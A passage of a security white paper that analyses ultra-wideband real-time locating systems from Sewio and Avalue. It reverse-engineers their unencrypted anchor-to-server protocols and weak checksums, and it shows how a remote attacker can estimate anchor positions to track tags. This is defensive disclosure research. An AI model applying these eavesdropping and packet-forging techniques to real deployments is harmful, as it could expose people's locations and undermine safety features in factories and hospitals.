paperless: Full transparency in the automative assembly,” Siemens, 2019. 5 “UWB Use Cases,” FiRa Consortium. UWB RTLS are used in manifold use cases: from smart building and mobility to industrial, from smart retail to smart home and consumer. Two examples of use cases follow. In production environments, RTLS uses radio frequency technology to locate components in various stages of production from the time they are created until they are delivered to the customer. The system allows for a precise positioning of each component in its own unique location, ensuring that the component does not get mixed up with others or placed incorrectly during assembly. The system also allows for automatic release of components when they reach their designated areas so that they do not have to be handled manually by workers; this reduces the possibility of errors during final assembly.4 RTLS is also used in access control systems, which have traditionally been cumbersome and inconvenient. They required the user to either wave their credential in front of a sensor or insert it into a lock, which can be difficult to do if a person is carrying items or wants to just walk through a door without stopping. UWB RTLS allows the lock and unlock functions to happen in response to movements and positioning, making accessing buildings and vehicles hands-free and hassle-free.5 While there are many benefits to these technologies, when it comes to industrial environments, there is no shortage of potential security risks. With the growing use of wireless networks in the industrial space comes an increased likelihood that those networks will be vulnerable to attacks from cyber criminals who are seeking to exploit vulnerabilities in order to gain access to sensitive data or disrupt operations. 1.2 Use Cases 1.3 Cyber Threats to Wireless Communications 7 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 1. Introduction 6 “What UWB Does,” FiRa Consortium. 7 “UWB Technology Comparison,” FiRa Consortium. 8 Ibid. According to the Fine Ranging, or FiRa, consortium, there was an increased demand in 2018 for “improvements to existing modulations to increase the integrity and accuracy of ranging measurements.”6 In 2020, the Institute of Electrical and Electronic Engineers (IEEE) released standard 802.15.4 which provides guidance (protocols, specifications, etc.) for low-rate wireless network communications, replacing the outdated 2015 version. IEEE quickly followed up with the 802.15.4z amendment in 2020, which adds requirement to achieve security in wireless transmissions. The new physical layer (PHY), was added to the 802.15.4z specification to make it harder for attackers to access or manipulate UWB communications. The extra portion of the PHY acts as a kind of shield between the network and any external devices trying to access it.7 The addition of cryptography and random number generation was to ensure that no one can eavesdrop on or manipulate UWB communications.8 While these updates are an important step towards securing UWB, upon further review, we noticed that the synchronization and exchange of location data are considered out-of-scope by the standard, despite being critical aspects in RTLS. These communications, whose design is left entirely to vendors, are critical aspects for the overall posture of TDoA RTLS. To the best of our knowledge, research on UWB RTLS focusing on the security of communications via Ethernet, Wi-Fi, or other media for the synchronization and exchange of location data has never been done in literature or appeared in a security conference. For this reason, we decided to focus our research solely on these specific communications, to evaluate their security posture in an effort to strengthen the overall security of UWB RTLS. 1.4 Motivation 8 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice In this chapter, we illustrate the entire methodology followed during our research, and the results obtained. We describe the scope of our investigation, illustrate the basic concepts behind the TDoA theory, explain all reverse engineering steps done during our analysis, show how an adversary can retrieve or estimate all information required for an attack, and demonstrate how they can abuse this knowledge to perform practical attacks against real-world scenarios. UWB RTLS are pervasive technologies that can be deployed in a plethora of conditions and for a wide variety of use cases. Additionally, they comprise manifold components and protocols. This chapter of the document defines both the industry scope and technical scope of our research. 2.1.1 Industry Scope From parking structures to hospitals, from airports to factories, from retail to sports fields, UWB RTLS enable sophisticated localization-based services in the most disparate environments. Given the breadth of industries that utilize UWB, we decided to limit the scope of our research to those that were both highly targeted and highly critical. These are expected to be the industries where a security flaw is most likely be exploited by adversaries, and lead to the highest impacts. Among the various industries utilizing UWB RTLS, we focused our research on both the industrial and healthcare sectors. We decided to focus on these sectors primarily because the industrial and healthcare sectors have seen a surge in cyberattacks in recent years,9 and UWB RTLS are employed for safety-related purposes,10,11 (Figure 2), such as: y Employee and patient tracking: In factories, UWB RTLS help the facility's management system track and rescue any employees remaining onsite in the event of an emergency. In hospitals, they are used to track a patient’s position and quickly provide medical assistance in case of sudden, serious medical symptoms; y Geofencing: In both factories and hospitals, UWB RTLS enforce safety-geofencing rules. For instance, UWB RTLS can be configured to halt hazardous machinery in case a human is within close proximity, to prevent harmful consequences; y Contact tracing: UWB RTLS enables centralized contact tracing during major pandemics like COVID-19. By monitoring and tracking contact between people, it can determine who came in contact with someone who tested positive for COVID-19, so that necessary quarantine measures can be taken. 2. Methodology and Attack Demos 2.1 Scope 9 "New OT/IoT Security Report: Trends and Countermeasures for Critical Infrastructure Attacks," Nozomi Networks Labs, February 2, 2022. 10 "Worker Safety," Ubisense. 11 "Simatic RTLS: How to create a safe working environment," Markus Weinlaender, Siemens Ingenuity, July 13, 2020. 9 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos It is thus paramount that the security of industrial and healthcare UWB RTLS is as robust as possible, to prevent adversaries from taking advantage of systems that cause safety-related consequences to victims. Having defined the industry scope, we performed an analysis of the RTLS targeting the industrial and healthcare sectors available on the market, that took into consideration aspects such as product features, availability time, or cost of purchase. Ultimately, we identified and purchased the following RTLS solutions: y Sewio Indoor Tracking RTLS UWB Wi-Fi Ki12 (Figure 3) y Avalue Renity Artemis Enterprise Kit13 (Figure 4) Both of these UWB RTLS kits come equipped with a set of tags, anchors, and a server software that can be accessed to view the location of tags, enable functionalities such as the safety features described above, perform maintenance operations, etc. Figure 2 - Examples of safety-related use cases advertised by vendors for UWB RTLS. Figure 3 - Sewio Indoor Tracking RTLS UWB Wi-Fi Kit. Figure 4 - Avalue Renity Artemis Enterprise Kit 12 "Indoor Tracking RTLS UWB Wi-Fi Kit," Sewio, 13 “Artemis Enterprise Kit,” Avalue Renity. 10 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos 2.1.2 Technical Scope Figure 5 portrays the architecture of a generic UWB RTLS, outlining the components involved as well as the protocols that are used in its communications. In an average RTLS infrastructure, a tag communicates with a set of anchors deployed in strategic positions of a room by means of UWB signals. These anchors then not only communicate with each other via UWB, but also interact with the RTLS server via common network media, such as Ethernet or Wi-Fi. The purpose of each of these communications is different, and is summarized below: y A tag sends UWB signals to the anchors, which receive them and keep track of the arrival times of each UWB message. This information will be used later by the RTLS Server to compute the position of the tag. y One reference anchor sends UWB signals to the other anchors, which receive them and keep track of the arrival times of each UWB message. This information is then used by the RTLS Server to perform the synchronization of the anchors. y Finally, the anchors send all arrival times of the transmitted and received UWB messages to an RTLS Server via Ethernet, Wi-Fi, or other media. The RTLS Server uses all data to complete the anchor synchronization process and reconstruct the position of the tag. Given the architecture illustrated above, to obtain an overall secure positioning system, it is crucial that both the UWB signals and the communications via Ethernet, Wi-Fi, or other media are secured. A flaw in any of these communication steps may compromise the security of the entire infrastructure. Up to now, security research has exclusively focused on the analysis of UWB signals, leading to the publication of multiple security studies that appeared in numerous conferences, such as ACM WiSec 2021 Architecture of a generic UWB RTLS14, NDSS 201915, or Usenix 2019.16 14 "Security Analysis of IEEE 802.15.4z/HRP UWB Time-of-Flight Distance Measurement," Mridula Singh, Marc Roeschlin, Ezzat Zalzala, Patrick Leu, and Srdjan Čapkun, in Proceedings of the 14th ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec '21), 2021. 15 "UWB with Pulse Reordering: Securing Ranging against Relay and Physical-Layer Attacks," Mridula Singh, Patrick Leu, and Srdjan Čapkun, in Proceedings of Network and Distributed Systems Security (NDSS) Symposium 2019, 2019. 16 "UWB-ED: Distance Enlargement Attack Detection in Ultra-Wideband," Mridula Singh, Patrick Leu, AbdelRahman Abdou, and Srdjan Čapkun, in Proceedings of the 28th USENIX Security Symposium, 2019. Figure 5 - Architecture of a generic UWB RTLS. Ethernet, or Wi-Fi, or other media, focus of this research Ultra-wideband Anchors RTLS Server Tag 11 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Literature presents many algorithms that leverage TDoA to locate assets in any kind of environment.17,18,19 To better clarify the reversing procedure adopted for this work and understand the preconditions necessary for an attack, the fundamentals behind TDoA are worth a brief analysis. 2.2.1 Packet Taxonomy In a TDoA RTLS, there are normally two kinds of packets that are exchanged between the anchors and the server: 1. Synchronization packets, also known as “sync” packets, or “CCP” packets; 2. Positioning packets, also known as “blink” packets, or “TDoA” packets. Synchronization packets are used for anchor synchronization purposes. Periodically, a reference anchor (sometimes called “master” in off-the-shelf RTLS) transmits an UWB signal that is received by all other non-reference anchors (sometimes called “slaves” in off-the-shelf RTLS). The reference anchor sends a synchronization packet on the network containing the instant at which it has sent the UWB signal, and the non-reference anchors a synchronization packet containing the instant at which they received it. It is important note that the anchors’ clocks are usually not in sync with each other (e.g., at the same exact time, anchor 1 might have its clock at 8.4322348 s, anchor 2 at 2.4524391 s, anchor 3 at 15.1147349 s, etc.), due to different boot times, clock drifts, or other reasons. This synchronization schema is a form of wireless synchronization, because it involves the transmission of a wireless UWB signal. Alternatively, some RTLS may replace the transmission of UWB signals with a wired clock signal generated by a single clock source and distributed to all anchors. This solution, however, requires additional wiring and appliances and, as such, is less common in off-the-shelf solutions. Positioning packets are used for tag localization purposes. A tag emits an UWB signal, which is received by all anchors. All anchors send the instant at which they received the UWB signal from the tag inside positioning packets to the central positioning server. This information, together with the synchronization packets, is used to compute the tag position. Again, these instants generally differ greatly, not only because they depend on the distance travelled by the UWB signal from the tag to reach the anchor, but also on the current anchor’s clock that is not in sync with that of the other anchors (e.g., for the same UWB signal emitted by a tag, anchor 1 might report it received at 8.6215658 s, anchor 2 at 2.6490112 s, anchor 3 at 15.3001173 s, etc.). 2.2 TDoA Background and Theory 17 "New three-dimensional positioning algorithm through integrating TDOA and Newton’s method," Junsuo Qu, Haonan Shi, Ning Qiao, Chen Wu, Chang Su, and Abolfazl Razi, in J Wireless Com Network, 2020. 18 "Time Difference of Arrival (TDoA) Localization Combining Weighted Least Squares and Firefly Algorithm," Peng Wu, Shaojing Su, Zhen Zuo, Xiaojun Guo, Bei Sun, and Xudong Wen, in Sensors, 2019. 19 "An Efficient TDOA-Based Localization Algorithm Without Synchronization Between Base Stations," Sangdeok Kim, and Jong-Wha Chong, in Location-Related Challenges and Strategies in Wireless Sensor Networks, 2015. 12 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos 2.2.2 Algorithm Details The routine implemented in UWB RTLS can usually be organized in two different steps: 1. clock synchronization; 2. position estimation. Clock Synchronization: As mentioned before, each anchor has a different time domain. To compare the received timestamps from different anchors, the server needs a clock model able to translate the local anchor timestamp domain to a global timestamp domain. To do this, the reference anchor periodically sends a synchronization UWB signal, which is received by the other anchors. As the anchors receive this signal, they send a packet to the server indicating the timestamp when the signal was received. At this point, the server is able to compute the clock offsets for each anchor i at each algorithm iteration instant t, based on the reference anchor. There are many wireless synchronization algorithms that have been proposed in literature. In this white paper, we describe the Linear Interpolation algorithm, a simple yet effective way to achieve wireless synchronization among anchors with different time domains. This is also the same algorithm that we applied later while posing as an attacker, listening to the packets exchanged on the wire and trying to reconstruct the position of the tags. In this algorithm, to achieve synchronization, a new parameter called Clock Skew (CS) is computed for each anchor. The computation of the CS derives from the synchronization packets transmission period: for the reference anchor, the parameter refAnchorSyncPeriod is computed by subtracting the timestamp of the last- but-one synchronization packet sTs (reference, t-1) to the timestamp of the last synchronization packet sTs(reference, t) sent by the reference anchor (Eq. 1). The same procedure is adopted to compute the nonRefAnchorSyncPeriod for each non-reference anchor (Eq. 2). For each anchor, the Clock Skew is computed as the ratio between the refAnchorSyncPeriod and its nonRefAnchorSyncPeriod (Eq. 3). It is important to notice that the Clock Skew for the reference anchor is equal to 1, as it is the reference for all the other anchors. Finally, to determine the location of a tag j, the server needs the positioning timestamps for, at least, N+1 anchors, where N indicates the number of dimensions (X, Y, Z) of the tag that the system wants to compute. To this extent, the concept of Global Time (GT) is introduced: the GT represents the conversion of the positioning timestamp of an anchor to a common clock domain, so that these new timestamps can be compared and used together to estimate the tag position. Given an anchor i, a tag j, and an iteration instant t, the equation follows. Eq 4 formally describes what has been mentioned before: sTs(i, t) indicates the timestamp of the synchronization packet during the iteration instant t sent by anchor i, pTs(i, j, t) represents the positioning packet sent by tag j to anchor i during the iteration instant t, while ToF(i) represents the time of flight from each anchor to the reference, i.e. the time that it takes for a signal to be transmitted and received among the reference anchor and the non-reference ones. Please note that the GT(reference, j, t) is simply pTs(reference, j, t) - sTS(reference, t). refAnchorSyncPeriod(t) = sTs(reference, t) - sTs(reference, t-1 GT(i, j, t) = CS(i, t) * (pTs(i, j, t) - sTS(i, t)) + ToF(i) nonRefAnchorSyncPeriod(i, t) = sTs(i, t) - sTs(i, t-1) Eq. 1 Eq. 4 Eq. 2 CS(i, t) = refAnchorSyncPeriod(t)/nonRefAnchorSyncPeriod(i, t) Eq. 3 13 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Position Estimation: the so obtained GTs can be directly compared to find the difference of the distances between each anchor i and the tag j at a certain iteration instant t: Where Delta(i, j, t) is the difference of the respective distances between the tag j and the reference anchor at instant t, and the tag j and the non-reference anchor i at instant t, while c is the speed of light constant. In fact: Where d(reference, j, t) is the distance between the tag j and the reference anchor at instant t, and d(i, j, t) the distance between the tag j and the non-reference anchor i at instant t. Once the server computes the distance differences between the tag and each anchor, the last missing step is the computation of the spatial coordinates. This is simply done by using the formula of the distance between two points: Where Xj,t is the X coordinate of tag j at instant t, Xi is the X coordinate of anchor i (constant across time), and Yj,t, Yi, Zj,t, Zi are the analogous versions for the Y and Z coordinates. Finally, by considering Eq. 5, 6, and 7, a non-linear system of equations can be set up to solve for Xj,t, Yj,t, and Zj,t, which is the position of tag j at the instant t. By looking at this system, the reader may now understand the requirement of N+1 anchors, where N indicates the number of dimensions (X, Y, Z) of the tag that the system wants to compute. This is a quadratic N-equations-three-unknowns system, that, if solved, leads to the computation of Xj,t, Yj,t, and Zj,t. For three coordinates, at least three equations are needed, thus 4 anchors. If only two coordinates are necessary, at least two equations are needed, thus 3 anchors. If more anchors than coordinates are available, it is possible to use the additional available information to increase the precision of the computed tag position, which may be influenced by external factors such as temporary noise, interferences, etc. From the equations above, it is also possible to conclude that, to obtain the position of a tag, the following data need to be known: y All coordinates of the anchors involved y Synchronization timestamps y Positioning timestamps Delta(i, j, t) = (GT(reference, j, t) - GT(i, j, t)) * c Delta(i, j, t) = (GT(reference, j, t) - GT(i, j, t)) * c = GT(reference, j, t) * c - GT(i, j, t) * c = d(reference, j, t) - d(i, j, t) Delta(1, j, t) = sqrt((Xj,t – Xreference)^2 + (Yj,t – Yreference)^2 + (Zj,t – Zreference)^2) - sqrt((Xj,t – X1)^2 + (Yj,t – Y1)^2 + (Zj,t – Z1)^2) Delta(2, j, t) = sqrt((Xj,t – Xreference)^2 + (Yj,t – Yreference)^2 + (Zj,t – Zreference)^2) - sqrt((Xj,t – X2)^2 + (Yj,t – Y2)^2 + (Zj,t – Z2)^2) … Delta(N, j, t) = sqrt((Xj,t – Xreference)^2 + (Yj,t – Yreference)^2 + (Zj,t – Zreference)^2) - sqrt((Xj,t – XN)^2 + (Yj,t – YN)^2 + (Zj,t – ZN)^2) d(i, j, t) = sqrt((Xj,t – Xi)^2 + (Yj,t – Yi)^2 + (Zj,t – Zi)^2) Eq. 5 Eq. 6 Eq. 8 Eq. 7 14 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos In order to identify the TDoA routines executed by both Sewio and Avalue UWB RTLS, understand how the network traffic is processed by the two solutions, and assess the security of the network communications, a reverse engineering activity was done. The following two sections describe this process for both solutions. 2.3.1 Sewio RTLS The Sewio RTLS can be configured to employ either Ethernet or Wi-Fi as a backhaul for the communications among the anchors and server. Multiple Wireshark captures in a variety of situations have been performed, to collect as many packet samples as possible. Some of these samples are reported in Figure 6 and Figure 7. 2.3 Reverse Engineering of Device Network Traffic Figure 6 - Sewio RTLS network packet sample. Figure 7 - Sewio RTLS network packet sample (2). 15 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos The first step of the reverse engineering process consists of analyzing the traffic generated by the Sewio anchors, to understand which protocols and which ports they use to transmit the information to the server. As can be seen, the Sewio RTLS uses a custom, unknown binary network protocol for the communications among anchors and server. No standard data structures are immediately recognizable. Consequently, an analysis of the server software is required, in order to understand how packets are processed and complete their dissection. In reference to the previous figures, Sewio anchors (IPs: 192.168.225.{11,12,13,14,15}) communicate with the server over UDP on port 5000. By looking at the output of netstat (Figure 8), the traffic is processed by a NodeJS server instance. A quick look at the output of ps also confirmed that NodeJS is running RTLSmanager.js (Figure 9). Figure 8 - Sewio RTLS listening ports. Figure 9 - Sewio RTLS running processes. 16 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos The dissection starts inside the handleIncomingData() method of SocketReceiver.js (Figure 10). That method immediately calls the processRawData() method, that, in turn, calls the unpack() function of unpack.js, which is 567 lines long (Figure 11). Figure 10 - handleIncomingData() and processRawData() methods of SocketReceiver.js. Figure 11 - Lines 350-362 of unpack() function of unpack.js. 17 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos The first lines of the function revealed that the first byte of a Sewio UWB packet acts as a delimiter. If the separator is 0x23 (the enum is defined in DefaultSettings.js), then the packet is a NEW_GEN packet; if 0x7c, an OLD_GEN packet. The parsing changes on the basis of this value. In this research, we only analyzed a NEW_GEN packet, as only packets of this type were found in the network traffic generated by the purchased solution (Figure 12). The parsing of a NEW_GEN packet proceeds by extracting the second and third bytes from the packet, representing its CRC, and the fourth and fifth bytes, the report length. After doing so and performing some length checks, the lines of code responsible for the packet integrity are executed (Figure 13). Figure 12 - Lines 363-400 of unpack() function of unpack.js. Figure 13 - Lines 401-422 of unpack() function of unpack.js. 18 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos The verification of the packet integrity is crucial from a security perspective, because it affects the ability of an attacker to forge valid synchronization and positioning of packets. As can be noticed on line 402 in Figure 13, and specifically on line 402, Sewio RTLS makes use of the crc16ccitt() function to verify the integrity of the packet. This implies that the solution only limits to verify that no corrupted packets are processed by inner code—no security checks are done for preventing an unauthorized actor from creating and injecting packets in the network traffic. The dissection continues on the basis of its type (called report type) and the included function code, which are extracted in advance from the packet (Figure 14). During our analysis, only traffic of report type “U” was seen, thus we only analyzed this type of packet in our research. The dissection of this specific type is handled by the parseReportUniversal() function, long 276 lines (Figure 15). The parseReportUniversal() function starts extracting the report length, the anchor MAC address, and the report type from the packet (Figure 16). Figure 14 - Lines 423-430 of unpack() function of unpack.js. Figure 15 - Lines 770-775 of unpack() function of unpack.js. Figure 16 - Lines 66-76 of parseReportUniversal() function of unpack.js. 19 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Finally, it dissects the inner body of the packet, on the basis of its type. A packet can contain multiple submessages (called “options”), that may carry different types of information. For the sake of brevity, we only report the dissection of the most relevant messages (Figure 17): y The “syncEmission” message is sent by the reference anchor and contains the synchronization timestamp when it generated the sync UWB signal; y The “syncArrival” message is sent by the non-reference anchors and contains the synchronization timestamps when they received the UWB signal generated by the reference one; y The “blink” message is sent by all anchors and contains the positioning timestamps. In the parsing code, it is possible to spot the lines of code that extract the first_path_amp1, first_path_amp2, first_path_amp3, max_growth_cir, and rx_pream_ count values, which will be mentioned again in section 2.4. Figure 17 - Lines 100-166 of parseReportUniversal() function of unpack.js. 20 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos An analysis on the usage of the extracted data by the subsequently executed code was done, to determine if any of those fields were processed inside decryption routines. The analysis confirmed that all data extracted from the network packets are directly used “as-is” (an example can be found in Figure 18), including the synchronization and positioning timestamps necessary for reconstructing the positioning data, and no decryption routines were called. Therefore, it is possible to conclude that there is no confidentiality in the network communications exchanged among anchors and server. A Wireshark dissector has been written and is being released to the public in conjunction with this white paper, together with a sample PCAP. Figures 19 and 20 represent the same packets shown at the beginning of this chapter, dissected. Figure 18 - covertRawTimestampToString() and convertTimestampToString() functions of unpack.js. Figure 19 - Sewio RTLS dissected network packet sample. 21 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 20 - Sewio RTLS dissected network packet sample (2). Figure 21 - Avalue RTLS network packet sample. 2.3.2 Avalue RTLS Similar to Sewio, the Avalue RTLS can be configured to use either Ethernet or Wi-Fi as a backhaul for the communications among anchors and server. A Wireshark capture of the network traffic has been done in various conditions, in order to have as many packet samples as possible. Some of these samples are reported in Figure 21 and Figure 22. 22 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 22 - Avalue RTLS network packet sample (2). Figure 23 - Avalue RTLS listening ports. As can be noticed again with Sewio, the Avalue RTLS uses a custom, unknown binary network protocol for this specific purpose, with no immediately recognizable standard data structures. It is thus necessary to reverse engineer the server software again. A quick look at the server revealed that a Tomcat instance is listening on port 8080/udp, the destination to which Avalue anchors (Ips: 192.168.50.{51,52,53,54}) were noticed sending the network traffic (Figure 23). 23 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 24 - Applications running on Tomcat server. Figure 25 - handlePacket() method of UwbParserManager. By accessing the Tomcat manager installed on the server, it is possible to determine that the only custom application running on the system is “uwb-lib” (Figure 24). In order to decompile the Java code of the application, we decided to use the “Enhanced Class Decompiler” plugin inside a local Eclipse installation, which outputs decompiled Java code straight into Eclipse and embeds multiple decompilation tools (JD, Jad, FernFlower, CFR, Procyon). Notably, during this analysis, FernFlower was used, which experimentally proved able to produce quality decompiled code. The dissection starts inside the handlePacket() method of UwbParserManager (Figure 25). 24 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 26 - isUwbPacket() and getPacketType() methods of UwbLibUtils. Figure 27 - All available packet types in Avalue UWB protocol. The isUwbPacket() method immediately unveiled that the first two bytes of an Avalue UWB packet are fixed to the values 0x57 and 0x58. Additionally, a brief analysis of the getPacketType() method revealed that the third byte identifies the type (Figure 26). A look at the PacketType class revealed the enum with all possible packet types (Figure 27). Notably, although multiple types are defined, during normal operations only two types of packets can be seen in the network traffic: y “CCP” packets, the synchronization packets described in the previous chapter; y “TDoA” packets, the positioning packets. 25 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 28 - parse() and processCheckSum() methods of UwbPacketParserTemplate. Figure 29 - processHeader() method of BaseUwbPacketParser. An implementation of the parser() method was found in the UwbPacketParserTemplate class (Figure 28). The processHeader() method was implemented in BaseUwbPacketParser. This allowed us to discover that the fourth byte is the length of the body (Figure 29). 26 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 30 - check() method of SimplePacketChecker. Figure 31 - processBody() method of CCPPacketParser. Figure 32 - processBody() method of TDoAPacketParser. Indeed, the processCheckSum() method is interesting from a security perspective, as its implementation directly impacts the ability to forge accepted UWB packets in subsequent injection attacks. A look at the check() method in SimplePacketChecker not only revealed that the checksum is just 2-byte long (the last two bytes of a packet), but also that it is simply the sum of all previous bytes (Figure 30). Although this might be enough to distinguish and discard accidentally corrupted packets from valid ones, it is evident that this mechanism does not add any protection against deliberate attacks. If the processCheckSum() method is passed, the parsing continues with the processBody() method, which depends on the actual packet type. Following, the processBody() methods of CCP and TDoA packets are reported, that are the UWB synchronization and positioning packets (Figure 31 and Figure 32). It is important to notice that, in these methods, it is possible to spot the exact location of the synchronization timestamps in the CCP packets, and of the positioning timestamps in the TDoA packets. 27 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 33 - parseEvent(), parseBat(), parseSignal(), and parseExtData() methods of BasicGeneralDataPacketParser. The parseEvent(), parseBat(), parseSignal(), and parseExtData() methods in BasicGeneralDataPacketParser conclude the parsing procedure. Of these methods, it is worth mentioning that the parseSignal() method performs the extraction of the FirstPathAmp1, FirstPathAmp2, FirstPathAmp3, MaxGrowthCIR, and RxPreamCount values, mentioned again in section 2.4 (Figure 33). After tracking how all these data are used in the following steps of the implemented TDoA algorithm, it was possible to conclude that there is no confidentiality in the network communications exchanged among anchors and server. All data are extracted from the network packets and directly used “as-is” into the functions, including the synchronization and positioning timestamps necessary for reconstructing the positioning data (an example can be found in Figure 34). In fact, in the aforementioned evidence, a scrupulous reader might have noticed that, from the beginning, those data were parsed using specific functions such as getDouble(), a strong indication that no cryptography was in place. Figure 34 - isValidTDoATime() method of UwbLibUtils. 28 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos A Wireshark dissector, specifically for the parsing of CCP and TDoA packets, has been written and is being released to the public in conjunction with this white paper, together with a sample PCAP. Figures 35 and 36 represent the same packets shown at the beginning of this chapter, dissected. Figure 35 - Avalue RTLS dissected network packet sample. Figure 36 - Avalue RTLS dissected network packet sample (2). 29 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos In the previous section, we concluded that there is neither confidentiality nor secure integrity mechanisms protecting the communications performed by the analyzed UWB RTLS. However, as stated at the end of section 2.2, to compute the position of a tag, all coordinates of the involved anchors need to be known. This is the most challenging requirement for an attacker, and could make a difference in the ultimate ability to estimate the position of a tag or not. This section is entirely devoted to this specific problem. Notably, we present a technique that completely remote adversaries (the most limiting situation) can exploit to estimate the anchors’ coordinates with enough accuracy to mount practical attacks. Normally, the coordinates of the anchors used in an RTLS are manually input as parameters inside the server software at the first installation (Figure 37). Afterwards, in the solutions we analyzed, this information was never found transmitted in the network traffic. Physical access: If an attacker has physical access to the monitored area, this problem can be solved in a variety of ways: y If the anchors are mounted in visible positions, obtaining their coordinates is a simple task; y If the anchors are not mounted in visible positions, an attacker may still be able to estimate their coordinates by measuring the power levels of their transmitted wireless signals (UWB and/or any other wireless technology used by the anchors, such as Wi-Fi). The position where the peak power level is detected is roughly the anchor location. 2.4 Anchor Coordinates Prerequisite Figure 37 - Anchor coordinates setup in Sewio RTLS. 30 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos In fact, according to our tests, the anchor coordinates do not need to be precise to obtain a good estimation of the tag positions. As shown in the following chart, if the anchor coordinates are estimated with an error of less than 10% with respect to the real value, the tag coordinates are computed with an average error of less than 20%; about 50 cm in a 6m x 5m room. Remote access: If the attacker has no access to the monitored area, they must derive the anchor coordinates only by looking at the traffic the anchors are sending. This is the most challenging condition for an attacker because, the anchor coordinates are never transmitted through the network traffic. Although no explicit data are transmitted, to this extent, there is important information coming from the anchors that can be leveraged to estimate the distance between each anchor and the reference one. Together with the locating data, anchors transmit the power level information of the received UWB signal on the wire, to allow the locating server to filter out poorly received wireless packets (Figure 38). In particular, these data are: y First Path Amplitude point 1 (FP1) y First Path Amplitude point 2 (FP2) y First Path Amplitude point 3 (FP3) y Preamble Accumulation Count (PAC) y Maximum Growth CIR (MGC) 24% 23% 22% 21% 20% 19% 18% 2.5% 7.5% 10.0% 12.5% 15.0% 17.5% 20.0% 5.0% Tag Coordinates Average Error wrt Anchor Coordinates Error 31 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos With these data, two different metrics can be computed, related to the power level of the tag transmission: the First Path Power Level (FPPL) and the Receive Power Level (RPL). According to the documentation of the Decawave DW1000,20 the UWB chip on which these (and many other) RTLS are based: Where A is a constant for a Pulse Recurrence Frequency. When working at 16 MHz, it is 115.72; when working at 64MHz, it is 121.74 dB. It is not possible to directly estimate the absolute distance given a certain power level. Tests were completed, and this estimation seems too influenced by the environmental conditions that exist at the instant of the measurement. However, what can be done with decent accuracy is to assume that, if the power level information (either first path or total received) is identical (or inside a certain level of acceptance) in all positioning packets generated in a given moment t0, the tag j0 that caused the generation of the aforementioned positioning packets is located exactly (or about exactly) at the same distance from all anchors. In other words, given a pair of anchors, the difference of the distance between a tag j0 and anchor i0 and the tag j0 and anchor i1 is 0, thus implying that GT(i0, j0, t0) = GT(i1, j0, t0). This is also true for the reference anchor, thus GT(reference, j0, t0) = GT(i0, j0, t0). This equation is very important, because, for the reference anchor, the Clock Skew is 1 and the time of flight from itself is 0 by definition. Consequently, it is possible to use this equation for each of the other non-reference anchors to estimate their times of flight. From those, the distance of each anchor with respect to the reference anchor can be estimated with enough accuracy. Figure 38 - Power levels transmitted in network traffic. FPPL = 10 * log10 ((FP1^2 + FP2^2 + FP3^2)/PAC^2) -A RPL = 10 * log10((MGC x 2^17) / PAC^2) -A Eq. 9 Eq. 10 20 "Decawave DW1000," Qorvo. 32 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos As a matter of fact, this is the equation 5 that was present in section 2.2.2. If the distance from all anchors is identical, this means that: And that: However, considering equation 4: This means that we can derive: However, considering that CS(reference, t0) = 1 and ToF(reference) = 0 by definition: And we can conclude that: This equation is used to obtain an accurate estimation of the distances of all anchors with respect to the reference anchor. However, having the distances is not enough: to compute the position of a tag, the coordinates of the anchors are required. For this purpose, an adversary can leverage an installation constraint that is common in RTLS: due to dilution of precision problems, RTLS vendors require that anchors are positioned in a shape that is as regular as possible. Ideally, it must be a square whenever possible, at most a rectangle21 (Figure 39). An attacker that can listen to the traffic on the wire can also adapt the expected shape on the basis of the number of anchors detected in the communications. For instance, if they detect 4 anchors, it is likely a rectangle; if 6 anchors, it could be a hexagon or a rectangle with two anchors positioned in the middle of the longest side. Delta(i, j, t) = (GT(reference, j, t) - GT(i, j, t)) * c ToF(i0) = CS(i0, t0) * (pTs(i0, j0, t0) - sTS(i0, t0)) - pTs(reference, j0, t0) + sTS(reference, 